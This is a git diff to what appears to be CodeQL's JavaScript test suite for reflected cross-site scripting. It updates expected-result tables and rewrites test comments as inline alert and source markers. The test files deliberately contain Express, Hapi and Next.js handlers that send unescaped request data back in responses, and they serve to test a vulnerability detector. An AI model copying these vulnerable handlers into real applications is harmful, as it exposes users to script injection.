-| ReflectedXss.js:98:12:98:38 | markdow ... q.body) | ReflectedXss.js:98:30:98:37 | req.body | ReflectedXss.js:98:12:98:38 | markdow ... q.body) | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:98:30:98:37 | req.body | user-provided value |
-| ReflectedXss.js:100:12:100:39 | markdow ... q.body) | ReflectedXss.js:100:31:100:38 | req.body | ReflectedXss.js:100:12:100:39 | markdow ... q.body) | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:100:31:100:38 | req.body | user-provided value |
-| ReflectedXss.js:103:12:103:84 | markdow ... q.body) | ReflectedXss.js:103:76:103:83 | req.body | ReflectedXss.js:103:12:103:84 | markdow ... q.body) | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:103:76:103:83 | req.body | user-provided value |
-| ReflectedXss.js:110:16:110:30 | request.query.p | ReflectedXss.js:110:16:110:30 | request.query.p | ReflectedXss.js:110:16:110:30 | request.query.p | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:110:16:110:30 | request.query.p | user-provided value |
-| ReflectedXss.js:122:30:122:73 | `${inva ... telist` | ReflectedXss.js:114:13:114:27 | keys: queryKeys | ReflectedXss.js:122:30:122:73 | `${inva ... telist` | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:114:13:114:27 | keys: queryKeys | user-provided value |
-| ReflectedXss.js:122:30:122:73 | `${inva ... telist` | ReflectedXss.js:116:31:116:45 | paramKeys?.keys | ReflectedXss.js:122:30:122:73 | `${inva ... telist` | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:116:31:116:45 | paramKeys?.keys | user-provided value |
-| ReflectedXssContentTypes.js:10:14:10:36 | "FOO: " ... rams.id | ReflectedXssContentTypes.js:10:24:10:36 | req.params.id | ReflectedXssContentTypes.js:10:14:10:36 | "FOO: " ... rams.id | Cross-site scripting vulnerability due to a $@. | ReflectedXssContentTypes.js:10:24:10:36 | req.params.id | user-provided value |
-| ReflectedXssContentTypes.js:20:14:20:36 | "FOO: " ... rams.id | ReflectedXssContentTypes.js:20:24:20:36 | req.params.id | ReflectedXssContentTypes.js:20:14:20:36 | "FOO: " ... rams.id | Cross-site scripting vulnerability due to a $@. | ReflectedXssContentTypes.js:20:24:20:36 | req.params.id | user-provided value |
-| ReflectedXssContentTypes.js:39:13:39:35 | "FOO: " ... rams.id | ReflectedXssContentTypes.js:39:23:39:35 | req.params.id | ReflectedXssContentTypes.js:39:13:39:35 | "FOO: " ... rams.id | Cross-site scripting vulnerability due to a $@. | ReflectedXssContentTypes.js:39:23:39:35 | req.params.id | user-provided value |
-| ReflectedXssContentTypes.js:70:12:70:34 | "FOO: " ... rams.id | ReflectedXssContentTypes.js:70:22:70:34 | req.params.id | ReflectedXssContentTypes.js:70:12:70:34 | "FOO: " ... rams.id | Cross-site scripting vulnerability due to a $@. | ReflectedXssContentTypes.js:70:22:70:34 | req.params.id | user-provided value |
-| ReflectedXssGood3.js:139:12:139:27 | escapeHtml3(url) | ReflectedXssGood3.js:135:15:135:27 | req.params.id | ReflectedXssGood3.js:139:12:139:27 | escapeHtml3(url) | Cross-site scripting vulnerability due to a $@. | ReflectedXssGood3.js:135:15:135:27 | req.params.id | user-provided value |
-| etherpad.js:11:12:11:19 | response | etherpad.js:9:16:9:30 | req.query.jsonp | etherpad.js:11:12:11:19 | response | Cross-site scripting vulnerability due to a $@. | etherpad.js:9:16:9:30 | req.query.jsonp | user-provided value |
-| formatting.js:6:14:6:47 | util.fo ... , evil) | formatting.js:4:16:4:29 | req.query.evil | formatting.js:6:14:6:47 | util.fo ... , evil) | Cross-site scripting vulnerability due to a $@. | formatting.js:4:16:4:29 | req.query.evil | user-provided value |
-| formatting.js:7:14:7:53 | require ... , evil) | formatting.js:4:16:4:29 | req.query.evil | formatting.js:7:14:7:53 | require ... , evil) | Cross-site scripting vulnerability due to a $@. | formatting.js:4:16:4:29 | req.query.evil | user-provided value |
-| live-server.js:6:13:6:50 | `<html> ... /html>` | live-server.js:4:21:4:27 | req.url | live-server.js:6:13:6:50 | `<html> ... /html>` | Cross-site scripting vulnerability due to a $@. | live-server.js:4:21:4:27 | req.url | user-provided value |
-| live-server.js:12:13:12:50 | `<html> ... /html>` | live-server.js:10:21:10:27 | req.url | live-server.js:12:13:12:50 | `<html> ... /html>` | Cross-site scripting vulnerability due to a $@. | live-server.js:10:21:10:27 | req.url | user-provided value |
-| pages/Next.jsx:8:13:8:19 | req.url | pages/Next.jsx:8:13:8:19 | req.url | pages/Next.jsx:8:13:8:19 | req.url | Cross-site scripting vulnerability due to a $@. | pages/Next.jsx:8:13:8:19 | req.url | user-provided value |
-| pages/Next.jsx:15:13:15:19 | req.url | pages/Next.jsx:15:13:15:19 | req.url | pages/Next.jsx:15:13:15:19 | req.url | Cross-site scripting vulnerability due to a $@. | pages/Next.jsx:15:13:15:19 | req.url | user-provided value |
-| pages/api/myapi.js:2:14:2:20 | req.url | pages/api/myapi.js:2:14:2:20 | req.url | pages/api/myapi.js:2:14:2:20 | req.url | Cross-site scripting vulnerability due to a $@. | pages/api/myapi.js:2:14:2:20 | req.url | user-provided value |
-| partial.js:10:14:10:18 | x + y | partial.js:13:42:13:48 | req.url | partial.js:10:14:10:18 | x + y | Cross-site scripting vulnerability due to a $@. | partial.js:13:42:13:48 | req.url | user-provided value |
-| partial.js:19:14:19:18 | x + y | partial.js:22:51:22:57 | req.url | partial.js:19:14:19:18 | x + y | Cross-site scripting vulnerability due to a $@. | partial.js:22:51:22:57 | req.url | user-provided value |
-| partial.js:28:14:28:18 | x + y | partial.js:31:47:31:53 | req.url | partial.js:28:14:28:18 | x + y | Cross-site scripting vulnerability due to a $@. | partial.js:31:47:31:53 | req.url | user-provided value |
-| partial.js:37:14:37:18 | x + y | partial.js:40:43:40:49 | req.url | partial.js:37:14:37:18 | x + y | Cross-site scripting vulnerability due to a $@. | partial.js:40:43:40:49 | req.url | user-provided value |
-| promises.js:6:25:6:25 | x | promises.js:5:44:5:57 | req.query.data | promises.js:6:25:6:25 | x | Cross-site scripting vulnerability due to a $@. | promises.js:5:44:5:57 | req.query.data | user-provided value |
-| tst2.js:7:12:7:12 | p | tst2.js:6:9:6:9 | p | tst2.js:7:12:7:12 | p | Cross-site scripting vulnerability due to a $@. | tst2.js:6:9:6:9 | p | user-provided value |
-| tst2.js:8:12:8:12 | r | tst2.js:6:12:6:15 | q: r | tst2.js:8:12:8:12 | r | Cross-site scripting vulnerability due to a $@. | tst2.js:6:12:6:15 | q: r | user-provided value |
-| tst2.js:18:12:18:12 | p | tst2.js:14:9:14:9 | p | tst2.js:18:12:18:12 | p | Cross-site scripting vulnerability due to a $@. | tst2.js:14:9:14:9 | p | user-provided value |
-| tst2.js:21:14:21:14 | p | tst2.js:14:9:14:9 | p | tst2.js:21:14:21:14 | p | Cross-site scripting vulnerability due to a $@. | tst2.js:14:9:14:9 | p | user-provided value |
-| tst2.js:36:12:36:12 | p | tst2.js:30:9:30:9 | p | tst2.js:36:12:36:12 | p | Cross-site scripting vulnerability due to a $@. | tst2.js:30:9:30:9 | p | user-provided value |
-| tst2.js:37:12:37:18 | other.p | tst2.js:30:9:30:9 | p | tst2.js:37:12:37:18 | other.p | Cross-site scripting vulnerability due to a $@. | tst2.js:30:9:30:9 | p | user-provided value |
-| tst2.js:51:12:51:17 | unsafe | tst2.js:43:9:43:9 | p | tst2.js:51:12:51:17 | unsafe | Cross-site scripting vulnerability due to a $@. | tst2.js:43:9:43:9 | p | user-provided value |
-| tst2.js:63:12:63:12 | p | tst2.js:57:9:57:9 | p | tst2.js:63:12:63:12 | p | Cross-site scripting vulnerability due to a $@. | tst2.js:57:9:57:9 | p | user-provided value |
-| tst2.js:64:12:64:18 | other.p | tst2.js:57:9:57:9 | p | tst2.js:64:12:64:18 | other.p | Cross-site scripting vulnerability due to a $@. | tst2.js:57:9:57:9 | p | user-provided value |
-| tst2.js:75:12:75:12 | p | tst2.js:69:9:69:9 | p | tst2.js:75:12:75:12 | p | Cross-site scripting vulnerability due to a $@. | tst2.js:69:9:69:9 | p | user-provided value |
-| tst2.js:76:12:76:18 | other.p | tst2.js:69:9:69:9 | p | tst2.js:76:12:76:18 | other.p | Cross-site scripting vulnerability due to a $@. | tst2.js:69:9:69:9 | p | user-provided value |
-| tst2.js:88:12:88:12 | p | tst2.js:82:9:82:9 | p | tst2.js:88:12:88:12 | p | Cross-site scripting vulnerability due to a $@. | tst2.js:82:9:82:9 | p | user-provided value |
-| tst2.js:89:12:89:18 | other.p | tst2.js:82:9:82:9 | p | tst2.js:89:12:89:18 | other.p | Cross-site scripting vulnerability due to a $@. | tst2.js:82:9:82:9 | p | user-provided value |
-| tst3.js:6:12:6:12 | p | tst3.js:5:9:5:9 | p | tst3.js:6:12:6:12 | p | Cross-site scripting vulnerability due to a $@. | tst3.js:5:9:5:9 | p | user-provided value |
-| tst3.js:12:12:12:15 | code | tst3.js:11:32:11:39 | reg.body | tst3.js:12:12:12:15 | code | Cross-site scripting vulnerability due to a $@. | tst3.js:11:32:11:39 | reg.body | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXss.js b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXss.js
index c3b1cbc2da8a..343e27b3fce5 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXss.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXss.js
@@ -4,8 +4,7 @@ var app = express();
 
 app.get('/user/:id', function(req, res) {
   if (!isValidUserId(req.params.id)) {
-    // BAD: a request parameter is incorporated without validation into the response
-    res.send("Unknown user: " + req.params.id);
+    res.send("Unknown user: " + req.params.id); // $ Alert - a request parameter is incorporated without validation into the response
     moreBadStuff(req.params, res);
   } else {
     // TODO: do something exciting
@@ -14,32 +13,32 @@ app.get('/user/:id', function(req, res) {
 });
 
 function moreBadStuff(params, res) {
-  res.send("Unknown user: " + params.id); // NOT OK
+  res.send("Unknown user: " + params.id); // $ Alert
 }
 
 var marked = require("marked");
 app.get('/user/:id', function(req, res) {
-  res.send(req.body); // NOT OK
-  res.send(marked(req.body)); // NOT OK
+  res.send(req.body); // $ Alert
+  res.send(marked(req.body)); // $ Alert
 });
 
 
 var table = require('markdown-table')
 app.get('/user/:id', function(req, res) {
-  res.send(req.body); // NOT OK
+  res.send(req.body); // $ Alert
   var mytable = table([
     ['Name', 'Content'],
-    ['body', req.body]
+    ['body', req.body] // $ Source
   ]);
-  res.send(mytable); // NOT OK - FIXME: only works in OLD dataflow, add implicit reads before library-contributed taint steps
+  res.send(mytable); // $ Alert
 });
 
 var showdown  = require('showdown');
 var converter = new showdown.Converter();
 
 app.get('/user/:id', function(req, res) {
-  res.send(req.body); // NOT OK
-  res.send(converter.makeHtml(req.body)); // NOT OK
+  res.send(req.body); // $ Alert
+  res.send(converter.makeHtml(req.body)); // $ Alert
 });
 
 var unified = require('unified');
@@ -53,7 +52,7 @@ var sanitize = require("rehype-sanitize");
 const { resetExtensions } = require('showdown');
 
 app.get('/user/:id', function (req, res) {
-  res.send(req.body); // NOT OK
+  res.send(req.body); // $ Alert
 
   unified()
     .use(markdown)
@@ -61,18 +60,18 @@ app.get('/user/:id', function (req, res) {
     .use(doc, { title: '👋�' })
     .use(format)
     .use(html)
-    .process(req.body, function (err, file) {
-      res.send(file); // NOT OK
+    .process(req.body, function (err, file) { // $ Source
+      res.send(file); // $ Alert
     });
 
-  res.send(remark().processSync(req.body).toString()); // NOT OK
+  res.send(remark().processSync(req.body).toString()); // $ Alert
 
-  res.send(remark().use(sanitize).processSync(req.body).toString()); // OK
+  res.send(remark().use(sanitize).processSync(req.body).toString());
 
-  res.send(unified().use(markdown).processSync(req.body).toString); // NOT OK
+  res.send(unified().use(markdown).processSync(req.body).toString); // $ Alert
 
-  remark().process(req.body, (e, f) => {
-    res.send(f); // NOT OK
+  remark().process(req.body, (e, f) => { // $ Source
+    res.send(f); // $ Alert
   })
 });
 
@@ -80,9 +79,9 @@ import snarkdown from 'snarkdown';
 var snarkdown2 = require("snarkdown");
 
 app.get('/user/:id', function (req, res) {
-  res.send(req.body); // NOT OK
-  res.send(snarkdown(req.body)); // NOT OK
-  res.send(snarkdown2(req.body)); // NOT OK
+  res.send(req.body); // $ Alert
+  res.send(snarkdown(req.body)); // $ Alert
+  res.send(snarkdown2(req.body)); // $ Alert
 });
 
 const markdownIt = require('markdown-it')({
@@ -94,32 +93,32 @@ const markdownIt3 = require('markdown-it')({html: true})
   .use(require('markdown-it-highlightjs'));
 
 app.get('/user/:id', function (req, res) {
-  res.send(req.body); // NOT OK
-  res.send(markdownIt.render(req.body)); // NOT OK
+  res.send(req.body); // $ Alert
+  res.send(markdownIt.render(req.body)); // $ Alert
   res.send(markdownIt2.render(req.body)); // OK - no html
-  res.send(markdownIt3.render(req.body)); // NOT OK
+  res.send(markdownIt3.render(req.body)); // $ Alert
 
-  res.send(markdownIt.use(require('markdown-it-sanitizer')).render(req.body)); // OK - HTML is sanitized. 
-  res.send(markdownIt.use(require('markdown-it-abbr')).use(unknown).render(req.body)); // NOT OK
+  res.send(markdownIt.use(require('markdown-it-sanitizer')).render(req.body)); // OK - HTML is sanitized.
+  res.send(markdownIt.use(require('markdown-it-abbr')).use(unknown).render(req.body)); // $ Alert
 });
 
 var Hapi = require('hapi');
 var hapi = new Hapi.Server();
 hapi.route({
     handler: function (request){
-        return request.query.p; // NOT OK
+        return request.query.p; // $ Alert
     }});
 
 app.get("invalid/keys/:id", async (req, res) => {
-    const { keys: queryKeys } = req.query;
+    const { keys: queryKeys } = req.query; // $ Source
     const paramKeys = req.params;
-    const keys = queryKeys || paramKeys?.keys;
+    const keys = queryKeys || paramKeys?.keys; // $ Source
 
     const keyArray = typeof keys === 'string' ? [keys] : keys;
     const invalidKeys = keyArray.filter(key => !whitelist.includes(key));
 
     if (invalidKeys.length) {
-        res.status(400).send(`${invalidKeys.join(', ')} not in whitelist`);
+        res.status(400).send(`${invalidKeys.join(', ')} not in whitelist`); // $ Alert
         return;
     }
-});
\ No newline at end of file
+});
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXss.qlref b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXss.qlref
index e0efe1024162..9cd0122e556e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXss.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXss.qlref
@@ -1 +1,2 @@
-Security/CWE-079/ReflectedXss.ql
+query: Security/CWE-079/ReflectedXss.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXssContentTypes.js b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXssContentTypes.js
index 64acfded0a63..cf89f45b9692 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXssContentTypes.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXssContentTypes.js
@@ -7,7 +7,7 @@ app.get('/user/:id', function (req, res) {
     res.send("FOO: " + req.params.id); // OK - content type is plain text
   } else {
     res.set('Content-Type', 'text/html');
-    res.send("FOO: " + req.params.id); // NOT OK - content type is HTML.
+    res.send("FOO: " + req.params.id); // $ Alert - content type is HTML.
   }
 });
 
@@ -17,7 +17,7 @@ app.get('/user/:id', function (req, res) {
     res.send("FOO: " + req.params.id); // OK - content type is JSON
   } else {
     res.writeHead(404);
-    res.send("FOO: " + req.params.id); // NOT OK - content type is not set.
+    res.send("FOO: " + req.params.id); // $ Alert - content type is not set.
   }
 });
 
@@ -36,10 +36,10 @@ app.get('/user/:id', function (req, res) {
 app.get('/user/:id', function (req, res) {
   if (err) {
     res.statusCode = 404;
-    res.end("FOO: " + req.params.id); // NOT OK
+    res.end("FOO: " + req.params.id); // $ Alert
   } else {
     res.setHeader('Content-Type', 'text/plain;charset=utf8');
-    res.end("FOO: " + req.params.id); // OK
+    res.end("FOO: " + req.params.id);
   }
 });
 
@@ -50,10 +50,10 @@ function textContentType() {
 app.get('/user/:id', function (req, res) {
   if (err) {
     res.header({'Content-Type': textContentType()});
-    res.end("FOO: " + req.params.id); // OK
+    res.end("FOO: " + req.params.id);
   } else {
     res.setHeader('Content-Type', 'text/plain;charset=utf8');
-    res.end("FOO: " + req.params.id); // OK
+    res.end("FOO: " + req.params.id);
   }
 });
 
@@ -67,13 +67,13 @@ app.get('/user/:id', function (req, res) {
   somethingMore();
   while(Math.random()) {};
   res.writeHead(404);
-  res.send("FOO: " + req.params.id); // NOT OK - content type is not set.
+  res.send("FOO: " + req.params.id); // $ Alert - content type is not set.
 });
 
 app.get('/user/:id', function (req, res) {
   res.header({'Content-Type': textContentType()});
   myFancyFunction(() => {
-	res.send("FOO: " + req.params.id); // OK
+	res.send("FOO: " + req.params.id);
   });
-  res.end("FOO: " + req.params.id); // OK
+  res.end("FOO: " + req.params.id);
 });
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXssGood.js b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXssGood.js
index c6635459f42f..a92226bff122 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXssGood.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXssGood.js
@@ -5,7 +5,7 @@ var app = express();
 
 app.get('/user/:id', function(req, res) {
   if (!isValidUserId(req.params.id))
-    // GOOD: request parameter is sanitized before incorporating it into the response
+    // OK - request parameter is sanitized before incorporating it into the response
     res.send("Unknown user: " + escape(req.params.id));
   else
     // TODO: do something exciting
@@ -15,13 +15,13 @@ app.get('/user/:id', function(req, res) {
 
 app.get('/user/:id', function(req, res) {
   if (!isValidUserId(req.params.id))
-    // GOOD: templating prevents XSS
+    // OK - templating prevents XSS
     res.render(invalidUserIdTemplate, { id: req.params.id });
 });
 
 app.get('/user/:id', function(req, res) {
   if (!isValidUserId(req.params.id)) {
-    // GOOD: response content type set to text
+    // OK - response content type set to text
     res.set('Content-Type', 'text/plain');
     res.send("Unknown user: " + req.params.id);
   } else
@@ -35,7 +35,7 @@ function textContentType() {
 
 app.get('/user/:id', function(req, res) {
   if (!isValidUserId(req.params.id)) {
-    // GOOD: response content type set to text
+    // OK - response content type set to text
     res.set('Content-Type', textContentType());
     res.send("Unknown user: " + req.params.id);
   } else
@@ -53,7 +53,7 @@ app.get('/echo', function(req, res) {
 app.get('/user/:id', function(req, res) {
   const url = req.params.id;
   if (!/["'&<>]/.exec(url)) {
-    res.send(url); // OK
+    res.send(url);
   }
 });
 
@@ -66,7 +66,7 @@ function escapeHtml1 (str) {
 app.get('/user/:id', function(req, res) {
   const url = req.params.id;
 
-  res.send(escapeHtml1(url)); // OK
+  res.send(escapeHtml1(url));
 });
 
 const matchHtmlRegExp = /["'&<>]/;
@@ -82,6 +82,6 @@ function escapeHtml2 (string) {
 app.get('/user/:id', function(req, res) {
   const url = req.params.id;
 
-  res.send(escapeHtml2(url)); // OK
+  res.send(escapeHtml2(url));
 });
 
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXssGood3.js b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXssGood3.js
index 2217ab783ac7..996f093aa15c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXssGood3.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXssGood3.js
@@ -132,11 +132,11 @@ function escapeHtml4(s) {
 }
 
 app.get('/user/:id', function (req, res) {
-  const url = req.params.id;
+  const url = req.params.id; // $ Source
 
-  res.send(escapeHtml1(url)); // OK
-  res.send(escapeHtml2(url)); // OK
-  res.send(escapeHtml3(url)); // OK - but FP [INCONSISTENCY]
-  res.send(escapeHtml4(url)); // OK
+  res.send(escapeHtml1(url));
+  res.send(escapeHtml2(url));
+  res.send(escapeHtml3(url)); // $ SPURIOUS: Alert - FP
+  res.send(escapeHtml4(url));
 });
 
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXssWithCustomSanitizer.expected b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXssWithCustomSanitizer.expected
index d29b35203b80..fb0748b3acdd 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXssWithCustomSanitizer.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXssWithCustomSanitizer.expected
@@ -1,25 +1,26 @@
-| ReflectedXss.js:8:14:8:45 | "Unknow ... rams.id | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:8:33:8:45 | req.params.id | user-provided value |
-| ReflectedXss.js:17:12:17:39 | "Unknow ... rams.id | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:17:31:17:39 | params.id | user-provided value |
-| ReflectedXss.js:22:12:22:19 | req.body | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:22:12:22:19 | req.body | user-provided value |
-| ReflectedXss.js:23:12:23:27 | marked(req.body) | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:23:19:23:26 | req.body | user-provided value |
-| ReflectedXss.js:29:12:29:19 | req.body | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:29:12:29:19 | req.body | user-provided value |
-| ReflectedXss.js:41:12:41:19 | req.body | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:41:12:41:19 | req.body | user-provided value |
-| ReflectedXss.js:42:12:42:39 | convert ... q.body) | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:42:31:42:38 | req.body | user-provided value |
-| ReflectedXss.js:56:12:56:19 | req.body | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:56:12:56:19 | req.body | user-provided value |
-| ReflectedXss.js:65:16:65:19 | file | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:64:14:64:21 | req.body | user-provided value |
-| ReflectedXss.js:68:12:68:52 | remark( ... tring() | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:68:33:68:40 | req.body | user-provided value |
-| ReflectedXss.js:72:12:72:65 | unified ... oString | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:72:48:72:55 | req.body | user-provided value |
-| ReflectedXss.js:75:14:75:14 | f | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:74:20:74:27 | req.body | user-provided value |
-| ReflectedXss.js:83:12:83:19 | req.body | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:83:12:83:19 | req.body | user-provided value |
-| ReflectedXss.js:84:12:84:30 | snarkdown(req.body) | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:84:22:84:29 | req.body | user-provided value |
-| ReflectedXss.js:85:12:85:31 | snarkdown2(req.body) | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:85:23:85:30 | req.body | user-provided value |
-| ReflectedXss.js:97:12:97:19 | req.body | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:97:12:97:19 | req.body | user-provided value |
-| ReflectedXss.js:98:12:98:38 | markdow ... q.body) | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:98:30:98:37 | req.body | user-provided value |
-| ReflectedXss.js:100:12:100:39 | markdow ... q.body) | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:100:31:100:38 | req.body | user-provided value |
-| ReflectedXss.js:103:12:103:84 | markdow ... q.body) | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:103:76:103:83 | req.body | user-provided value |
-| ReflectedXss.js:110:16:110:30 | request.query.p | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:110:16:110:30 | request.query.p | user-provided value |
-| ReflectedXss.js:122:30:122:73 | `${inva ... telist` | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:114:13:114:27 | keys: queryKeys | user-provided value |
-| ReflectedXss.js:122:30:122:73 | `${inva ... telist` | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:116:31:116:45 | paramKeys?.keys | user-provided value |
+| ReflectedXss.js:7:14:7:45 | "Unknow ... rams.id | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:7:33:7:45 | req.params.id | user-provided value |
+| ReflectedXss.js:16:12:16:39 | "Unknow ... rams.id | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:16:31:16:39 | params.id | user-provided value |
+| ReflectedXss.js:21:12:21:19 | req.body | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:21:12:21:19 | req.body | user-provided value |
+| ReflectedXss.js:22:12:22:27 | marked(req.body) | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:22:19:22:26 | req.body | user-provided value |
+| ReflectedXss.js:28:12:28:19 | req.body | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:28:12:28:19 | req.body | user-provided value |
+| ReflectedXss.js:33:12:33:18 | mytable | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:31:14:31:21 | req.body | user-provided value |
+| ReflectedXss.js:40:12:40:19 | req.body | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:40:12:40:19 | req.body | user-provided value |
+| ReflectedXss.js:41:12:41:39 | convert ... q.body) | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:41:31:41:38 | req.body | user-provided value |
+| ReflectedXss.js:55:12:55:19 | req.body | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:55:12:55:19 | req.body | user-provided value |
+| ReflectedXss.js:64:16:64:19 | file | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:63:14:63:21 | req.body | user-provided value |
+| ReflectedXss.js:67:12:67:52 | remark( ... tring() | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:67:33:67:40 | req.body | user-provided value |
+| ReflectedXss.js:71:12:71:65 | unified ... oString | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:71:48:71:55 | req.body | user-provided value |
+| ReflectedXss.js:74:14:74:14 | f | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:73:20:73:27 | req.body | user-provided value |
+| ReflectedXss.js:82:12:82:19 | req.body | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:82:12:82:19 | req.body | user-provided value |
+| ReflectedXss.js:83:12:83:30 | snarkdown(req.body) | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:83:22:83:29 | req.body | user-provided value |
+| ReflectedXss.js:84:12:84:31 | snarkdown2(req.body) | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:84:23:84:30 | req.body | user-provided value |
+| ReflectedXss.js:96:12:96:19 | req.body | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:96:12:96:19 | req.body | user-provided value |
+| ReflectedXss.js:97:12:97:38 | markdow ... q.body) | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:97:30:97:37 | req.body | user-provided value |
+| ReflectedXss.js:99:12:99:39 | markdow ... q.body) | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:99:31:99:38 | req.body | user-provided value |
+| ReflectedXss.js:102:12:102:84 | markdow ... q.body) | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:102:76:102:83 | req.body | user-provided value |
+| ReflectedXss.js:109:16:109:30 | request.query.p | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:109:16:109:30 | request.query.p | user-provided value |
+| ReflectedXss.js:121:30:121:73 | `${inva ... telist` | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:113:13:113:27 | keys: queryKeys | user-provided value |
+| ReflectedXss.js:121:30:121:73 | `${inva ... telist` | Cross-site scripting vulnerability due to $@. | ReflectedXss.js:115:31:115:45 | paramKeys?.keys | user-provided value |
 | ReflectedXssContentTypes.js:10:14:10:36 | "FOO: " ... rams.id | Cross-site scripting vulnerability due to $@. | ReflectedXssContentTypes.js:10:24:10:36 | req.params.id | user-provided value |
 | ReflectedXssContentTypes.js:20:14:20:36 | "FOO: " ... rams.id | Cross-site scripting vulnerability due to $@. | ReflectedXssContentTypes.js:20:24:20:36 | req.params.id | user-provided value |
 | ReflectedXssContentTypes.js:39:13:39:35 | "FOO: " ... rams.id | Cross-site scripting vulnerability due to $@. | ReflectedXssContentTypes.js:39:23:39:35 | req.params.id | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/cookies.js b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/cookies.js
index c30ab48a511d..3fba93d3b4a7 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/cookies.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/cookies.js
@@ -5,6 +5,6 @@ var app = express();
 app.use(cookieParser());
 
 app.get('/cookie/:name', function(req, res) {
-  // OK
+
   res.send("Here, have a cookie: " + req.cookies[req.params.name]);
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/etherpad.js b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/etherpad.js
index e0eed4a17d67..8377357a0c4c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/etherpad.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/etherpad.js
@@ -6,7 +6,7 @@ app.get("/some/path", (req, res) => {
   let response = "Hello, world!";
 
   if(req.query.jsonp && isVarName(req.query.jsonp))
-    response = req.query.jsonp + "(" + response + ")";
+    response = req.query.jsonp + "(" + response + ")"; // $ Source
 
-  res.send(response);
+  res.send(response); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/formatting.js b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/formatting.js
